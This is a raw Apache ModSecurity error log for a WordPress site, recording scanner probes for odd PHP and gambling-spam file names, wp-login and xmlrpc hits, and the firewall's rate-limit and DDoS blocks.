[Sat Feb 28 11:52:34.498708 2026] [:error] [pid 52460:tid 52477] [client 4.205.9.11:14387] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aaJmgrLWOogAgHGh62TtWAAAAY4"]
[Sat Feb 28 11:52:35.640938 2026] [:error] [pid 11791:tid 11801] [client 4.205.9.11:29035] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aaJmg2uX5e1Q32gqxH30PgAAAQg"]
[Sat Feb 28 11:52:36.388929 2026] [:error] [pid 39185:tid 39249] [client 4.205.9.11:64192] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aaJmhBVE-FfM89u7BQaF6AAAAIM"]
[Sat Feb 28 11:52:37.698839 2026] [:error] [pid 22194:tid 22208] [client 4.205.9.11:14618] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aaJmhX6mbajs3bzQGysrpQAAAUw"]
[Sat Feb 28 11:52:38.439279 2026] [:error] [pid 39292:tid 39314] [client 4.205.9.11:54027] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaJmhqIAO5fN7BxyqcG3VgAAANQ"]
[Sat Feb 28 11:52:39.323882 2026] [:error] [pid 11791:tid 11811] [client 4.205.9.11:40827] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaJmh2uX5e1Q32gqxH30QQAAARI"]
[Sat Feb 28 11:52:40.143363 2026] [:error] [pid 39184:tid 39223] [client 4.205.9.11:40782] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaJmiFtZF9Zd_U7easDKUgAAAEQ"]
[Sat Feb 28 11:52:41.228624 2026] [:error] [pid 39292:tid 39294] [client 4.205.9.11:14610] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaJmiaIAO5fN7BxyqcG3WwAAAMA"]
[Sat Feb 28 11:52:41.755530 2026] [:error] [pid 39292:tid 39311] [client 4.205.9.11:57158] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaJmiaIAO5fN7BxyqcG3XAAAANE"]
[Sat Feb 28 11:52:42.449966 2026] [:error] [pid 11791:tid 11806] [client 4.205.9.11:14642] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaJmimuX5e1Q32gqxH30QgAAAQ0"]
[Sat Feb 28 11:52:43.325286 2026] [:error] [pid 52460:tid 52471] [client 4.205.9.11:31866] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaJmi7LWOogAgHGh62TtYQAAAYg"]
[Sat Feb 28 11:52:44.095983 2026] [:error] [pid 11791:tid 11794] [client 4.205.9.11:34421] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaJmjGuX5e1Q32gqxH30SAAAAQE"]
[Sat Feb 28 11:52:44.829163 2026] [:error] [pid 39184:tid 39220] [client 4.205.9.11:14594] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaJmjFtZF9Zd_U7easDKVwAAAEE"]
[Sat Feb 28 11:52:45.418488 2026] [:error] [pid 39184:tid 39243] [client 4.205.9.11:34425] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaJmjVtZF9Zd_U7easDKWgAAAFg"]
[Sat Feb 28 11:52:45.872451 2026] [:error] [pid 39184:tid 39227] [client 4.205.9.11:34386] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaJmjVtZF9Zd_U7easDKXgAAAEg"]
[Sat Feb 28 12:19:07.219622 2026] [:error] [pid 39292:tid 39318] [client 167.86.118.77:56501] [client 167.86.118.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.118.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJsu6IAO5fN7BxyqcHCkgAAANg"], referer: binance.com
[Sat Feb 28 12:19:10.276675 2026] [:error] [pid 22194:tid 22217] [client 167.86.118.77:56576] [client 167.86.118.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.118.77, incrementing ddos counter"] [hostname "www.vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaJsvn6mbajs3bzQGyszMwAAAVU"], referer: binance.com
[Sat Feb 28 12:19:13.464815 2026] [:error] [pid 52460:tid 52470] [client 167.86.118.77:56642] [client 167.86.118.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.86.118.77, counter = 8"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaJswbLWOogAgHGh62QHwgAAAYc"], referer: binance.com
[Sat Feb 28 13:34:48.883783 2026] [:error] [pid 11791:tid 11808] [client 54.38.208.175:47480] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.208.175, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJ-eGuX5e1Q32gqxH0ojgAAAQ8"]
[Sat Feb 28 15:01:46.354620 2026] [:error] [pid 39185:tid 39248] [client 51.75.119.229:55494] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaKS2hVE-FfM89u7BQY6eQAAAII"]
[Sat Feb 28 15:01:48.830307 2026] [:error] [pid 22194:tid 22196] [client 51.75.119.229:58912] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaKS3H6mbajs3bzQGytgpgAAAUA"]
[Sat Feb 28 15:01:51.262216 2026] [:error] [pid 39184:tid 39229] [client 51.75.119.229:58932] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaKS31tZF9Zd_U7easDz-AAAAEo"]
[Sat Feb 28 15:01:53.764817 2026] [:error] [pid 22194:tid 22211] [client 51.75.119.229:58936] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaKS4X6mbajs3bzQGytgqgAAAU8"]
[Sat Feb 28 15:01:56.368098 2026] [:error] [pid 39292:tid 39306] [client 51.75.119.229:50164] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaKS5KIAO5fN7BxyqcH4HAAAAMw"]
[Sat Feb 28 15:01:58.846849 2026] [:error] [pid 39184:tid 39238] [client 51.75.119.229:50180] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaKS5ltZF9Zd_U7easDz-gAAAFM"]
[Sat Feb 28 15:02:01.316063 2026] [:error] [pid 39292:tid 39296] [client 51.75.119.229:50202] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaKS6aIAO5fN7BxyqcH4JQAAAMI"]
[Sat Feb 28 15:02:03.639377 2026] [:error] [pid 39292:tid 39309] [client 51.75.119.229:50228] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaKS66IAO5fN7BxyqcH4KgAAAM8"]
[Sat Feb 28 15:02:06.094943 2026] [:error] [pid 39185:tid 39247] [client 51.75.119.229:55866] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaKS7hVE-FfM89u7BQY6pwAAAIE"]
[Sat Feb 28 15:02:08.446696 2026] [:error] [pid 52460:tid 52483] [client 51.75.119.229:55870] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaKS8LLWOogAgHGh62SBSAAAAZQ"]
[Sat Feb 28 15:02:10.761954 2026] [:error] [pid 39185:tid 39270] [client 51.75.119.229:55890] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaKS8hVE-FfM89u7BQY6rwAAAJg"]
[Sat Feb 28 15:02:13.074908 2026] [:error] [pid 39185:tid 39249] [client 51.75.119.229:55912] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaKS9RVE-FfM89u7BQY6sgAAAIM"]
[Sat Feb 28 15:02:15.370905 2026] [:error] [pid 39292:tid 39297] [client 51.75.119.229:59358] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaKS96IAO5fN7BxyqcH4QwAAAMM"]
[Sat Feb 28 15:02:17.689548 2026] [:error] [pid 39292:tid 39305] [client 51.75.119.229:59368] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaKS-aIAO5fN7BxyqcH4TgAAAMs"]
[Sat Feb 28 15:02:19.989938 2026] [:error] [pid 52460:tid 52463] [client 51.75.119.229:59370] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaKS-7LWOogAgHGh62SBWwAAAYA"]
[Sat Feb 28 15:02:22.302610 2026] [:error] [pid 11791:tid 11795] [client 51.75.119.229:59386] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaKS_muX5e1Q32gqxH1VgQAAAQI"]
[Sat Feb 28 15:02:24.599953 2026] [:error] [pid 52460:tid 52478] [client 51.75.119.229:56500] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaKTALLWOogAgHGh62SBZwAAAY8"]
[Sat Feb 28 15:04:41.878436 2026] [:error] [pid 11791:tid 11814] [client 43.135.138.128:59280] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaKTiWuX5e1Q32gqxH1WeAAAARU"]
[Sat Feb 28 15:06:28.842716 2026] [:error] [pid 52460:tid 52475] [client 51.75.119.229:35950] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaKT9LLWOogAgHGh62SFMwAAAYw"]
[Sat Feb 28 15:06:31.388272 2026] [:error] [pid 22194:tid 22204] [client 51.75.119.229:52398] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaKT936mbajs3bzQGythqAAAAUg"]
[Sat Feb 28 15:06:33.735928 2026] [:error] [pid 11791:tid 11793] [client 51.75.119.229:52428] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaKT-WuX5e1Q32gqxH1XHwAAAQA"]
[Sat Feb 28 15:06:36.629813 2026] [:error] [pid 39184:tid 39231] [client 51.75.119.229:39252] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaKT_FtZF9Zd_U7easD03wAAAEw"]
[Sat Feb 28 15:06:39.051380 2026] [:error] [pid 52460:tid 52481] [client 51.75.119.229:39256] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaKT_7LWOogAgHGh62SFQAAAAZI"]
[Sat Feb 28 15:06:41.590633 2026] [:error] [pid 52460:tid 52473] [client 51.75.119.229:39280] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaKUAbLWOogAgHGh62SFRwAAAYo"]
[Sat Feb 28 15:06:44.188197 2026] [:error] [pid 52460:tid 52487] [client 51.75.119.229:39308] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaKUBLLWOogAgHGh62SFVgAAAZg"]
[Sat Feb 28 15:06:46.867996 2026] [:error] [pid 39184:tid 39231] [client 51.75.119.229:44258] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaKUBltZF9Zd_U7easD08wAAAEw"]
[Sat Feb 28 15:06:49.445716 2026] [:error] [pid 11791:tid 11793] [client 51.75.119.229:44270] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaKUCWuX5e1Q32gqxH1XMAAAAQA"]
[Sat Feb 28 15:06:52.057783 2026] [:error] [pid 22194:tid 22202] [client 51.75.119.229:44286] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaKUDH6mbajs3bzQGythwAAAAUY"]
[Sat Feb 28 15:06:54.699900 2026] [:error] [pid 52460:tid 52481] [client 51.75.119.229:53138] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaKUDrLWOogAgHGh62SFigAAAZI"]
[Sat Feb 28 15:06:57.288574 2026] [:error] [pid 39185:tid 39270] [client 51.75.119.229:53154] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaKUERVE-FfM89u7BQY9vgAAAJg"]
[Sat Feb 28 15:06:59.838640 2026] [:error] [pid 11791:tid 11803] [client 51.75.119.229:53160] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaKUE2uX5e1Q32gqxH1XOgAAAQo"]
[Sat Feb 28 15:07:02.454302 2026] [:error] [pid 39292:tid 39301] [client 51.75.119.229:53172] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaKUFqIAO5fN7BxyqcH55AAAAMc"]
[Sat Feb 28 15:07:05.131359 2026] [:error] [pid 52460:tid 52469] [client 51.75.119.229:60224] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaKUGbLWOogAgHGh62SFmwAAAYY"]
[Sat Feb 28 15:07:07.701996 2026] [:error] [pid 39185:tid 39251] [client 51.75.119.229:60234] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaKUGxVE-FfM89u7BQY97AAAAIU"]
[Sat Feb 28 15:07:10.384427 2026] [:error] [pid 39292:tid 39303] [client 51.75.119.229:60242] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaKUHqIAO5fN7BxyqcH56QAAAMk"]
[Sat Feb 28 16:15:39.058646 2026] [:error] [pid 11791:tid 11810] [client 103.117.180.202:58662] [client 103.117.180.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.117.180.202, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaKkK2uX5e1Q32gqxH1w4QAAARE"]
